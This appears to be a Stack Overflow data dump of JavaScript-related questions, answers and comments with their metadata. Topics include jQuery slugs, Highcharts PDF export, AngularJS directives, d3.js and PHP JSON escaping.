has body: Down and dirty? This replaces the slug plugin. $('#fname,#lname').keyup(function() { // *FANCIER* using this would trigger slug creation on the fly as you type either first OR last name $('#lname').blur(function() { // *SIMPLER* this triggers the slug to create when the last name has been typed var f = $('#fname').val(); // get the first name f = f.toLowerCase(); // convert it to lower case f = f.replace(/[^a-z0-9 -]/g, ''); // remove invalid characters f = f.replace(/\s+/g, '-'); // replace whitespace with dash f = f.replace(/-+/g, '-'); // replace space with dash var l = $('#lname').val(); l = l.toLowerCase(); l = l.replace(/[^a-z0-9 -]/g, ''); l = l.replace(/\s+/g, '-'); l = l.replace(/-+/g, '-'); var s = f + '-' + l; // concatenate resulting first and last to slug $('#slug').val(s).attr('readonly','readonly'); }); JSFiddle
has comment: http://stackoverflow.com/comment/40186419
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/40186449
has comment: http://stackoverflow.com/comment/40186436
upvote count: 1
answers question: http://stackoverflow.com/q/25708423
has comment: http://stackoverflow.com/comment/40186403
accepted answer of: http://stackoverflow.com/q/25708423
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/25698358
score: 1
has body: [] is an object that is equal to null. !![] is a "boolean" that equals to true. (twice ! of null ( = false) ) !+[] is a "boolean" that equals to true. and if we add a [] after this expressions, they will be converted to string. so (!+[]+!![]+!![]+!![]+[]) will be a string that equals 4 (!+[]+!![]+!![]) will be a string that equals 3 hence (!+[]+!![]+!![]+!![]+[]) + (!+[]+!![]+!![]) will be a string that equals 43 and +(!+[]+!![]+!![]+!![]+[])+(!+[]+!![]+!![]) will be a number that again equals 43 in the same way +((+!![]+[])+(+!![])) will equal to 11 so total of expression will equal to 43 - 11 = 32
answers question: http://stackoverflow.com/q/25697942
downvote count: 0
type: Answer
upvote count: 1

http://stackoverflow.com/q/25597751
tagged with: http://stackoverflow.com/tag/pdf
has body: I'm exporting a Highcharts chart and a HTML table to PDF, but when my table is big, it cannot be placed correctly in the PDF page. I export the PDF using: Highcharts.getSVG = function(charts) { var svgArr = [], top = 0, width = 0; $.each(charts, function(i, chart) { var svg = chart.getSVG(); svg = svg.replace('<svg', '<g transform="translate(0,' + top + ')" '); svg = svg.replace(' ', ' ' + titulo + ' </g>'); top += chart.chartHeight; width = Math.max(width, chart.chartWidth); svgArr.push(svg); }); tabela = $("#mainTabela").clone(); top += tabela.height(); svgArr.push('<g transform="translate(0,' + top + ')">' + tabela.html() + ' </g>'); return ' ' + svgArr.join('') + ' '; }; There is a way to use an A3 page when exporting? Or just use a bigger page? Example of table divided by different pages:
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25607790
type: Question
has title: Use A3 page on Highcharts exporting
answer count: 2
tagged with: highcharts
tagged with: javascript
has answer: http://stackoverflow.com/a/25611188
score: 0

http://stackoverflow.com/comment/40011929
has text: It sounds like you actually want server-side code.
comment on: http://stackoverflow.com/q/25612757
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25553167
type: Question
downvote count: 0
answer count: 1
tagged with: javascript
favorite count: 0
upvote count: 6
tagged with: angularjs
type: UnansweredQuestion
score: 6
tagged with: angularjs-directive
has answer: http://stackoverflow.com/a/25553560
has body: I'm trying to distinguish between internal change and an external change with a two-way data-bound attribute ('='). In other words: I don't want to $watch to fire on the value if the change was internal (i.e. the scope variable was changed in the controller or in the link function). Here some code that illustrates my problem: HTML Javascript app.directive('mydemo', function () { return { restrict: 'E', scope: { value: "=" }, template: " Click to change value attribute Value:{{value}}", link: function (scope, elm) { scope.$watch('value', function (newVal) { //Don't listen if the change came from changeValue function //Listen if the change came from input element }); // Otherwise keep any model syncing here. var changeValue = function() { scope.$apply(function () { scope.value = " from changeValue function"; }); } elm.bind('click', changeValue); } } }) Live demo: http://jsfiddle.net/B7hT5/11/ Any idea who can I distinguish?
has title: AngularJS directive $watch two-way binding

http://stackoverflow.com/comment/40235218
score: 0
comment on: http://stackoverflow.com/q/25707097
type: QuestionComment
has text: I think I need to do two things in the script 1. evaluate the status of one check box (source field) 2. set the status of another checkbox (destination field) conditional upon the status of the source check box
type: Comment

http://stackoverflow.com/a/25612219
answers question: http://stackoverflow.com/q/25611896
accepted answer of: http://stackoverflow.com/q/25611896
downvote count: 1
upvote count: 0
type: AcceptedAnswer
score: -1
has comment: http://stackoverflow.com/comment/40028163
has body: Your code seems so complicated so I am writing a new one. You can make your own by looking at my code. Try this; $.ajax({ type: 'get', url: 'http://geturl.com', success: postdata(dataToPost)}); function postdata(dataToPost){ $.ajax({ type:'post', url: 'http://posturl.com', data: datatoPost });
type: Answer

http://stackoverflow.com/q/25627282
type: UnansweredQuestion
tagged with: php
upvote count: 0
has answer: http://stackoverflow.com/a/25627486
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery
score: -1
has title: Ajax call pulling in random html
tagged with: ajax
has answer: http://stackoverflow.com/a/25630636
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
has comment: http://stackoverflow.com/comment/40038673
has body: I'm having an issue that I can't seem to solve. First thing is first. I'm running this on Ubuntu 14.04 with apache and php5. I am using the netbeans IDE which i originally assumed to be the issue but then i ran it directly from the web root /var/www/html. php is working i already tested it. i can run html pages and php pages from the root. I have developed a few applications already using this computer. Some which use very advanced ajax to calls to google apis. I have no idea why all of a sudden I can't make the simplest ajax call. Anyways the problem is that when I make my ajax call to a php file nothing happens. if i inspect the page in browser, it shows that it pulled in a bunch of random iframes. I have never used an iframe before. I am really hoping that I just need a different set of eyes on this and that it isn't something else. index.html Index HTML The Div getHTML.php <?php echo "Hello World"; ?> After running this in mozilla firefox, no iframes are being pulled in. I can only assume it is some bug with chrome. So now to answer the question: why aren't I getting any response from the ajax call? So I am now getting a response from my ajax calls. Way worse though. I changes my $.ajax to a $.post() and then to a $.get() and now it is return a duplicate of index.html over and over and over in an infinite loop. From what i understand the default url that $.get/post take is the current url. But I added getHTML.php as the url argument. so I am at a loss. I can't get any work done if I can't solve this issue. Can anyone help? $(document).ready(function(){ $.get("getHTML.php", function(data) $("body").append(data); }); });
favorite count: 0

http://stackoverflow.com/q/25651559
has comment: http://stackoverflow.com/comment/40082474
score: -1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25651664
has comment: http://stackoverflow.com/comment/40082521
has title: Onclick not being called
downvote count: 1
accepted answer: http://stackoverflow.com/a/25651664
type: Question
possible better answer: http://stackoverflow.com/a/25651686
has body: I've been trying to get an element to both follow it's link (which downloads a file) and then be redirected to a new page. For some reason the element downloads the file but the onclick function is never executed. I've tried a couple different implementations... Here's what I've done so far: $("#download").onclick = function() {window.location.assign('www.redirect.com')}; I've also tried all of these with console logs in them which also never get executed. function safari_click() { window.location.assign("www.redirect.com"); } $("#download").onclick = safari_click; //finally also this one: $("#download").onclick = function() {safari_click()}; I can't get any of these to actually trigger the onclick function. Edit: Also, just to be clear the #download element is a link which also has href defined. Not sure if this is messing it up somehow.
has answer: http://stackoverflow.com/a/25651686
tagged with: javascript
has comment: http://stackoverflow.com/comment/40082618
has comment: http://stackoverflow.com/comment/40082484
answer count: 2
upvote count: 0
tagged with: jquery
favorite count: 0

http://stackoverflow.com/comment/40156366
type: QuestionComment
has text: Yeah, tried various combinations of parent() and parents(). Couldn't work it out.
score: 0
comment on: http://stackoverflow.com/q/25692132
type: Comment

http://stackoverflow.com/q/25702233
tagged with: javascript
tagged with: date
has comment: http://stackoverflow.com/comment/40174847
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40174798
tagged with: jquery
has comment: http://stackoverflow.com/comment/40174645
has title: JavaScript looping through JSON with jQuery and converting yyyy-mm-dd to timestamp, adding to variable
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40174689
has body: I've written the code below that fetches JSON from a GET route. It's fairly simple, however, when I load the page and check the console it's logging 0 for records and logging NaN for (total_inforce - total_submit) / records; What could be the problem here? I've went through and verified that the values being added are correct. var total_submit = 0; var total_inforce = 0; var records = 0; $.ajax({ url: '/portal/data', type: 'GET', success: function(result) { $.each(result, function(key, value) { if(value.inforce_date_c != null &amp;&amp; value.submitted_date_c != null) { var inforce_date = value.inforce_date_c; var submit_date = value.submitted_date_c; total_inforce += new Date(inforce_date).getTime() / 1000; total_submit += new Date(submit_date).getTime() / 1000; records += 1; } }); } }); Snippet that calculates final result: console.log((total_inforce - total_submit) / records); Here is some example of the JSON data: [ { "inforce_date_c": "2014-05-02", "submitted_date_c": "2014-03-19" } ]
has comment: http://stackoverflow.com/comment/40174774
has comment: http://stackoverflow.com/comment/40174792
has comment: http://stackoverflow.com/comment/40174767
has comment: http://stackoverflow.com/comment/40174831
type: Question
has answer: http://stackoverflow.com/a/25702353
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/comment/39998545
has text: Well replace onclick="yourFunction()" by onclick="yourFunction($(this));" and also replace in your javascript code function yourFunction(){} with function yourFunction(e){} and you will not use $(this).toggleClass('liked') but e.toggleClass('liked') instead
type: AnswerComment
comment on: http://stackoverflow.com/a/25588138
score: 0
type: Comment

http://stackoverflow.com/comment/39936196
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25571169
has text: I'm not sure if my solution works on windows or not. This also works, and maybe is cross platform, too. `$this.val().replace(/\r\n?|\n/g, '').length`

http://stackoverflow.com/a/25580968
upvote count: 2
has comment: http://stackoverflow.com/comment/39954384
has body: To fadeout the entire span, call fadeOut() on the clicked element's parent $(".closebutton").on("click", function (event) { $(this).parent().fadeOut(); event.preventDefault(); });
has comment: http://stackoverflow.com/comment/39954291
answers question: http://stackoverflow.com/q/25580935
has comment: http://stackoverflow.com/comment/39954261
accepted answer of: http://stackoverflow.com/q/25580935
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39954325
type: Answer
has comment: http://stackoverflow.com/comment/39954096
score: 2

http://stackoverflow.com/a/25711929
type: Answer
has body: I don't know if "#filealt[i]" is a valid jQuery selector or what it does. What I would do is instead use a common class on all your inputs like my-class. Also, you would probably need to wrap you jQuery code in a document.ready function $(document).ready(function() { $(".my-class").keypress(function(event){ var ew = event.which; if(ew == 32) return true; if(48 &lt;= ew &amp;&amp; ew &lt;= 57) return true; if(65 &lt;= ew &amp;&amp; ew &lt;= 90) return true; if(97 &lt;= ew &amp;&amp; ew &lt;= 122) return true; return false; }); });
score: 1
upvote count: 1
downvote count: 0
answers question: http://stackoverflow.com/q/25711854

http://stackoverflow.com/q/25659969
type: UnansweredQuestion
tagged with: datepicker
tagged with: php
has body: I like to use BeatPicker (http://act1gmr.github.io/BeatPicker/demos.html ) but don’t know how to receive data if use ranges ( 2 separate input with date picker ). If I add "name" to input then receive only first date. &lt;input type="text" name="FirstDate" data-beatpicker="true" data-beatpicker-position="['*','*']" data-beatpicker-range="true" /&gt;
type: Question
has title: How to receive RANGE data from BeatPicker by POST PHP method?
has comment: http://stackoverflow.com/comment/40098183
tagged with: post
score: 0
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/28515112
has comment: http://stackoverflow.com/comment/40098047

http://stackoverflow.com/comment/40035800
has text: That's nice, much cleaner than using `.filter()`.
type: Comment
comment on: http://stackoverflow.com/a/25625792
score: 1
type: AnswerComment

http://stackoverflow.com/q/25598560
favorite count: 0
has answer: http://stackoverflow.com/a/25598816
tagged with: node.js
type: AnsweredQuestion
has body: I am trying to insert large data sets into mongodb with mongoose. But before that I need to make sure my for loop is working correctly. // basic schema settings var mongoose = require('mongoose'); var Schema = mongoose.Schema; var TempcolSchema = new Schema({ cid: { type: Number, required: true }, loc:[] }); TempcolSchema.index({ 'loc': "sphere2d" }); // we can easily see from the output that the forloop runs correctly mongoose.connect('mongodb://localhost/mean-dev', function(err){ for (var i = 0; i &lt; 10000000; i++) { var c = i; console.log(c); } }); the output is 1,2,3,4,....etc now I want to add a mongoose save statement into the for loop. mongoose.connect('mongodb://localhost/mean-dev', function(err){ var Tempcol = mongoose.model('Tempcol', TempcolSchema); for (var i = 0; i &lt; 10000000; i++) { var c = i; console.log(c); var lon = parseInt(c/100000); var lat = c%100000; new Tempcol({cid: Math.random(), loc: [lon, lat]}).save(function(err){}); } }); the output is still 1,2,3,4,..... However the for loop stops after a while and saying the maximum stack is reached and have some kind of memory problem. Also when I check the collection I realized there are no data points being inserted at all. So does anyone know what might be happening? Thanks.
downvote count: 0
score: 1
type: Question
tagged with: mongodb
tagged with: javascript
has title: Node insert large data using mongoose
accepted answer: http://stackoverflow.com/a/25598816
upvote count: 1
answer count: 1

http://stackoverflow.com/comment/40064987
type: QuestionComment
has text: There is no errors, and the AJAX call is coming through successfully
score: 0
comment on: http://stackoverflow.com/q/25639440
type: Comment

http://stackoverflow.com/comment/39957679
has text: Additionally to specifying `lxModalSupportServices.controller('ModalInstanceCtrl', ['$scope', '$log', '$modalInstance', ModalInstanceCtrl]);`, you also need to change `$modal.open({...controller: ModalInstanceCtrl` to `...controller: 'ModalInstanceCtrl'` (notice the quotes around `ModalInstanceCtrl`).
comment on: http://stackoverflow.com/q/25580443
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/a/25635741
has body: Note that content_scripts is an array: "content_scripts": [ { "matches": ["http://www.example.com/*"], "js": ["codeA.js"] }, { "matches": ["http://www.domain.com/*"], "js": ["codeB.js"] } ]
downvote count: 0
has comment: http://stackoverflow.com/comment/40084984
type: Answer
has comment: http://stackoverflow.com/comment/40056521
score: 5
type: AcceptedAnswer
upvote count: 5
accepted answer of: http://stackoverflow.com/q/25634572
answers question: http://stackoverflow.com/q/25634572

http://stackoverflow.com/q/25700623
type: Question
has comment: http://stackoverflow.com/comment/40171593
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40171701
linked to: http://stackoverflow.com/q/15838593
answer count: 1
has body: I'm trying to build a large JSON string in PHP and then echo it to the client like this. My problem is that the PHP function json_encode isn't properly escaping characters for the purposes of javascript. Here's my data: my_table ------------------------------------------------------------------ | title | description | ------------------------------------------------------------------ | Something's "Fun" | Hello[invisible carriage return char]World | ------------------------------------------------------------------ There are three characters in these data that need to be escaped: the single quote, the double quote, and the carriage return character. Here's my php that turns the data into json (after I put the data into an object): $array = array( 'title' =&gt; obj-&gt;title, 'desc' =&gt; obj-&gt;description ); $json = json_encode($array); I then take my json string with the "properly" escaped characters and echo it to the client from my view like this: &lt;script&gt; var jsonString = '&lt;?php echo $json; ?&gt;'; var obj = JSON.parse(jsonString); &lt;/script&gt; But when the page loads, my browser (Chrome) pushes an "Unexpected identifier" error because this is what the script tag actually looks like: &lt;script&gt; var jsonString = '{"title":"Something's \"Fun\"","desc":"Hello\nWorld"}'; var obj = JSON.parse(jsonString); &lt;/script&gt; From the perspective of js the double quote is the only one that's escaped correctly. The single quote isn't escaped at all and js freaks out at the \n. BTW: manually escaping the single quote doesn't work. And I don't know what to do with the \n to get js to recognize it.
has comment: http://stackoverflow.com/comment/40171598
has title: Escaping Characters When Building JSON in PHP and Echoing It in
tagged with: php
has answer: http://stackoverflow.com/a/25723686
accepted answer: http://stackoverflow.com/a/25723686
tagged with: escaping
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40174296
has comment: http://stackoverflow.com/comment/40171807

http://stackoverflow.com/q/25592883
tagged with: jquery
favorite count: 0
has body: I am using two wonderful jQuery plugins for a project: this date/time picker: https://github.com/xdan/datetimepicker this HTML table editor: https://github.com/mindmup/editable-table They work separately very well but unfortunately they are not compatible for each other. When I want to update a date in a HTML table, the calendar appears and closes when I click on the date/time, but the value in the table's cell is not updated (and Chrome's javascript console does not report any error message). Would you know a solution or a workaround for that ? You can quickly test it by yourself with the code below: <?xml version='1.0' encoding='UTF-8' ?> Example The date/time picker works perfectly: But not in the table below: 2014-08-22 15:00 However no problem for text, i.e. just here! It would be awesome that these two plugins could work together. Thanks! Pierre
has title: Make datetimepicker working with editable-table
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25593058
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/27995146
accepted answer: http://stackoverflow.com/a/27995146
type: Question
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25593058
answer count: 3
has answer: http://stackoverflow.com/a/25593937
tagged with: datetimepicker
upvote count: 1

http://stackoverflow.com/comment/39950603
comment on: http://stackoverflow.com/q/25577830
has text: That's what debounce is supposed to do: What for `x` timeunits after the last call to actually execute the function. I don't understand how exactly you want it to be different.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25616506
answers question: http://stackoverflow.com/q/25616221
has comment: http://stackoverflow.com/comment/40019485
score: 4
has comment: http://stackoverflow.com/comment/40019619
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40020312
type: Answer
has body: The first parameter of any KO event binding handler is the current datacontext, so in your case your AppViewModel and the second parameter contains the event object. So you need to write: self.addSrate = function (viewModel, event) { alert(event.target.value); } As an alternative solution you can subscribe on the changes of the selectedSampleRate0 to achieve the same functionality: self.selectedSampleRate0.subscribe(function (newValue){ alert(newValue); }) Demo JSFiddle.
upvote count: 4
accepted answer of: http://stackoverflow.com/q/25616221

http://stackoverflow.com/q/25590757
upvote count: 1
score: 1
type: Question
has comment: http://stackoverflow.com/comment/40049029
has body: This is my template file outerLayout.html: menu1 main content footer This is my outerLayout.js var $ = require('jquery'); var Backbone = require('backbone'); Backbone.$ = $; var Maronette = require('backbone.marionette'); var compiledTpl = require('./outerLayout.html'); // console.info('compiledTpl({})', compiledTpl({})); console.info('compiledTpl({})', compiledTpl({})); var OuterLayout = Backbone.Marionette.LayoutView.extend({ template: compiledTpl({}), el: '#main', regions: { menu: '#menu', content: '#content', footer: '#footer' } }); module.exports = new OuterLayout(); Here are the code in router to render the layoutView: var AppRouter = Backbone.Marionette.AppRouter.extend({ routes : { '': 'index' }, index : function () { var outerLayout = require('../layout/outerLayout/outerLayout'); outerLayout.render(); } } }); The render result is: But the result should be this one: In short words, the render function removed tag which is not my objective. How can I fix it?
downvote count: 0
answer count: 1
tagged with: javascript
has title: Marionette LayoutView removed my root HTML element in template
tagged with: marionette
has answer: http://stackoverflow.com/a/26100780
favorite count: 0
tagged with: backbone.js
type: UnansweredQuestion

http://stackoverflow.com/q/25670380
has body: I'm trying to use for the first time LoopBack.io and I always get this error when I'm trying to create a new project with this command line: slc loopback Here is the error: [Error: `app.boot` was removed, use the new module loopback-boot instead] Can anyone guide me to fix this problem, please? Thank you for your help.
tagged with: javascript
score: 0
upvote count: 1
answer count: 1
favorite count: 0
tagged with: rest
tagged with: loopbackjs
tagged with: node.js
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25672032
accepted answer: http://stackoverflow.com/a/25672032
downvote count: 1
has title: Create a new project with loopback.io
type: Question

http://stackoverflow.com/comment/40119700
has text: Nice! Reference to the source code. Thanks for your help.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25662380

http://stackoverflow.com/a/25695845
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/40181036
answers question: http://stackoverflow.com/q/25692790
has body: You just need a javascript object that has all the names and skills, so when the name changes, the skills are already available on the client side. Normally you would be better off doing this by serializing your list to a JSON string in the controller, but to avoid telling you to add a new dependecy like Gson to your project, you can do this by populating your javascript object in a script tag. &lt;script type="text/javascript"&gt; var peopleSkills = {}; &lt;c:forEach var="person" items="${personInfo}"&gt; peopleSkills['${person.name}'] = new Array(); &lt;c:forEach var="skill" items="${person.skills}"&gt; peopleSkills['${person.name}'].push('${skill}'); &lt;/c:forEach&gt; &lt;/c:forEach&gt; function updateSkills(name) { var skillsArray = peopleSkills[name]; var markup = '' for (var i = 0; i &lt; skillsArray.length; i++) markup += '&lt;option value="' + skillsArray[i] + '"&gt;' + skillsArray[i] + '&lt;/option&gt;'; $('#skillsselect').html(markup); } $(document).ready(function(){ updateSkills($('#nameselect').val()); // for initial option on page load $('#nameselect').change(function(){ var personName = $(this).val(); updateSkills(personName); }); }); &lt;/script&gt; &lt;div&gt; &lt;form:select name="name" id="nameselect" path="name"&gt; &lt;c:forEach items="${personInfo}" var="var"&gt; &lt;form:option value="${var.name}"&gt;"${var.name}" /&gt;&lt;/form:option&gt; &lt;/c:forEach&gt; &lt;/form:select&gt; &lt;div&gt; &lt;div&gt; &lt;form:select name="skills" id="skillsselect" path="skills"&gt;&lt;/form:select&gt; &lt;div&gt; Definitely look into creating a JSON string in your controller to avoid mixing server-side and client-side code in the script tag. And also prepare for a situation where two different people have the same name.
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40181378

http://stackoverflow.com/q/25628746
type: Question
has comment: http://stackoverflow.com/comment/40153048
has comment: http://stackoverflow.com/comment/40151768
has answer: http://stackoverflow.com/a/25689929
tagged with: internet-explorer
has comment: http://stackoverflow.com/comment/40041464
has answer: http://stackoverflow.com/a/25779259
linked to: http://stackoverflow.com/q/7246618
tagged with: javascript
has comment: http://stackoverflow.com/comment/40258989
tagged with: jquery-plugins
has comment: http://stackoverflow.com/comment/40152096
has title: (script 438 error) My jQuery plugins not work in Internet Explorer
has comment: http://stackoverflow.com/comment/40157546
linked to: http://stackoverflow.com/q/23891878
tagged with: jquery
has body: Im using jQuery cycle and jcarousel plugins. Theese plugins are working fine in localhost, but now I host my example in a free host service just to do some tests, and my jQuery plugins dont work in internet explorer. But they work in google chrome. Im using IE 10. Do you know why this can be happening? Im have my scripts import in my scripts.php file, and then I include this file in my page : My cycle function: $(function(){ $("#last_news ul").cycle({ fx:'fade', speed: 1500, timeout: 5000, pager: '#pager', }) }) My jCarousel function: $(function() { $("#carosel").jCarouselLite({ vertical: 'true', auto: 5000, speed: 2000, visible: 4 }); });
has comment: http://stackoverflow.com/comment/40041628
favorite count: 0
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25797667
has answer: http://stackoverflow.com/a/25807084
has comment: http://stackoverflow.com/comment/40155491
answer count: 4
has comment: http://stackoverflow.com/comment/40041572
has comment: http://stackoverflow.com/comment/40151597
tagged with: jquery-cycle
has comment: http://stackoverflow.com/comment/40196358
score: 1
linked to: http://stackoverflow.com/q/8218894
has comment: http://stackoverflow.com/comment/40042679
has comment: http://stackoverflow.com/comment/40152062
downvote count: 1
has comment: http://stackoverflow.com/comment/40151638
has comment: http://stackoverflow.com/comment/40151853

http://stackoverflow.com/comment/40022594
has text: @AbhinabKanrar, I have updated answer. And delete your answer
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25618048
type: Comment

http://stackoverflow.com/comment/40116142
comment on: http://stackoverflow.com/a/25670021
has text: I know. Thanks for the lesson, though ;)
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/39902572
type: Comment
comment on: http://stackoverflow.com/a/25552805
type: AnswerComment
score: 0
has text: @Bergi "error-prone callback thingy :-)" ? Shine the light on it !! Can't have error-prone thingy's popping around to and fro on the SO :)

http://stackoverflow.com/a/25551164
has comment: http://stackoverflow.com/comment/39898505
has comment: http://stackoverflow.com/comment/39897460
has comment: http://stackoverflow.com/comment/39897443
type: Answer
has comment: http://stackoverflow.com/comment/39897893
score: 2
has body: Don't build JSON by hand. Don't manually escape data for JSON. Use JSON.stringify. var obj = { term: request.term }; var json = JSON.stringify(obj); // etc data: json, spec mdn
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25551133
answers question: http://stackoverflow.com/q/25551133
has comment: http://stackoverflow.com/comment/39898539
upvote count: 2
has comment: http://stackoverflow.com/comment/39897610
type: AcceptedAnswer

http://stackoverflow.com/q/25652819
tagged with: jquery
score: 0
linked to: http://stackoverflow.com/q/9403422
has comment: http://stackoverflow.com/comment/40086432
has title: How to determine if a child element is outside the containing ancestor?
type: UnansweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25652910
has body: I have list items which are inside a container div. The structure looks as follows: I am using jQuery sortable to swap list items, as shown here. I want to determine if the list item is dragged outside of the containing div, and if so, delete it. What I have been trying to do is use offset() to determine the distance of list item from div, but it gives me inconsistent results: $( ".sortable" ).sortable({ revert: true, update: function( event, ui ) { console.log("difference: " + (parseInt($(ui.item).offset().top,10) - parseInt($("#importer-container").offset().top,10)) ); } }); Sometimes it says 1. Sometimes it says 26. The container div has a scroll bar if that matters. How can I determine if a child is outside parent?
has comment: http://stackoverflow.com/comment/40086460
has comment: http://stackoverflow.com/comment/40084938
has comment: http://stackoverflow.com/comment/40084926
answer count: 1
tagged with: javascript

http://stackoverflow.com/q/25649245
possible better answer: http://stackoverflow.com/a/25649481
accepted answer: http://stackoverflow.com/a/25649480
has answer: http://stackoverflow.com/a/25649481
has answer: http://stackoverflow.com/a/25649769
has comment: http://stackoverflow.com/comment/40078817
has title: Bootstrap navbar working incorrectly
has comment: http://stackoverflow.com/comment/40078699
has comment: http://stackoverflow.com/comment/40078274
tagged with: twitter-bootstrap
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25649510
has comment: http://stackoverflow.com/comment/40078651
tagged with: css
has comment: http://stackoverflow.com/comment/40078589
answer count: 4
has body: Here is my code Brand ||| Home Hello, world! <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js" Basically the toggle does not work correctly The home link comes up next to the brand rather than underneath it like it should I have tried to find errors but have been unsuccessful Any ideas
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25649480
score: 0
type: Question
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/q/25552363
has body: I'm trying to modify the width of a d3 sankey chart, so I can put expanded content (details about a node) into the space created by the resize. So user clicks node, chart shrinks to half it's width, and I can append content into the new space... Thing is, the d3 sankey layout affects many other elements, and I'm not sure how to make a sankey change trickle through all the elements. After defining the layout: var sankey = d3.sankey() .nodeWidth(15) .nodePadding(10) .size([width, height]); and then building the layout from the data sankey .nodes(data.nodes) .links(data.links) .layout(32); I tried to update the layout via d3.selectAll(".node") .on("click",function(d){ sankey.size([width/2, height]) }) which obviously doesn't work. Not sure how to push it back through the elements! Plunker to show the whole picture: http://plnkr.co/edit/udEOog?p=preview
answer count: 1
tagged with: javascript
has title: Dynamically change width of d3.js sankey chart
tagged with: sankey-diagram
has answer: http://stackoverflow.com/a/25564819
accepted answer: http://stackoverflow.com/a/25564819
tagged with: d3.js
score: 2
type: AnsweredQuestion
downvote count: 0
favorite count: 0
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/39915898

http://stackoverflow.com/comment/40072252
comment on: http://stackoverflow.com/a/25645512
type: AnswerComment
type: Comment
has text: @JakubFedyczak By itself your question is kind of off-topic for StackOverflow, since any basic documentation will tell you what `$3` means and from that you can tell why you need that number. That's why several answers here (including my own) are suggesting better ways to do it, as well as simply explaining the reason.
score: 1

http://stackoverflow.com/comment/40180693
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25705316
type: Comment
has text: http://jsfiddle.net/lordloh/qgbtydgj/

http://stackoverflow.com/a/25625035
has body: all you need is to set the style of the element in the function you have bind .directive('scrollopacity', function ($document) { return { link: function (scope, element, attrs) { var dochandler = function (event) { alert("scroll");//thing to be done }; element.bind('scroll',dochandler); } }; });
type: Answer
has comment: http://stackoverflow.com/comment/40036938
has comment: http://stackoverflow.com/comment/40035099
downvote count: 0
has comment: http://stackoverflow.com/comment/40035199
score: 1
answers question: http://stackoverflow.com/q/25624581
has comment: http://stackoverflow.com/comment/40036589
has comment: http://stackoverflow.com/comment/40036675
has comment: http://stackoverflow.com/comment/40034498
has comment: http://stackoverflow.com/comment/40036106
upvote count: 1

http://stackoverflow.com/comment/40051018
type: Comment
score: 0
type: AnswerComment
has text: Advice, read the [Messaging guide](https://developer.chrome.com/extensions/messaging).
comment on: http://stackoverflow.com/a/25633697

http://stackoverflow.com/comment/40059146
has text: Also, `` tag is deprecated long long time ago. Use CSS instead.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25638661

http://stackoverflow.com/q/25558512
possible better answer: http://stackoverflow.com/a/25559706
tagged with: filter
upvote count: 1
favorite count: 0
tagged with: d3.js
tagged with: css
type: AnsweredQuestion
downvote count: 0
score: 1
accepted answer: http://stackoverflow.com/a/25558641
has answer: http://stackoverflow.com/a/25559706
type: Question
has body: For my first little d3.js project, I am adapting the "Filtering with Data" recipe from the Data Visualization with d3.js Cookbook (available at https://github.com/NickQiZhu/d3-cookbook/blob/master/src/chapter3/data-filter.html). My dataset contains offbeat words paired with types of "animal", "vegetable", or "mineral." The words are displayed in black type when the page is loaded. When the user clicks a "show animals" button, the animal words turn red. Ditto for the other two types: clicking the button for a particular word type turns the corresponding words red. All words currently turn red. What I'm trying to do, though, is have the words turn different colors based on their type: brown for animals, green for vegetables, gray for minerals. I know I need to build and fit in a conditional framework somewhere, but the specifics are evading me. I imagine this exercise would be easy-peasy in straight Javascript, but I'm trying to learn d3! Can anybody help? The relevant CSS: .word { color: black; font-size: 2em; line-height: 30%; } .word .animal { color: brown; } .word.vegetable { color: green; } .word .mineral { color: lightslategray; } .selected { color: red; } The entire script (it's rather short): var dataset = [ {name: "aegirine", type: "mineral"}, {name: "burdock", type: "vegetable"}, ... {name: "yantok", type: "vegetable"}, {name: "zingel", type: "animal"} ]; function render(dataset, type) { d3.select("body") .select("div") .attr("id", "worddiv") .selectAll("p.word") .data(dataset) .enter() .append("p") .attr("class", "word") .text(function(d) { return d.name; }); d3.select("body") .selectAll("p") .filter(function (d,i) { return d.type == type; }) .classed("selected", true); } // end function render render(dataset); function select(type) { render(dataset, type); } // end function select function clearAll() { d3.select("body") .selectAll("p") .attr("class", "word"); } The only relevant HTML is in the button div: &lt;button onclick = "select('animal')"&gt; show an…
answer count: 2
has title: How can I use d3.js filter to assign different css classes to elements?
tagged with: javascript
has answer: http://stackoverflow.com/a/25558641

http://stackoverflow.com/comment/40045405
type: AnswerComment
comment on: http://stackoverflow.com/a/25630895
score: 0
type: Comment
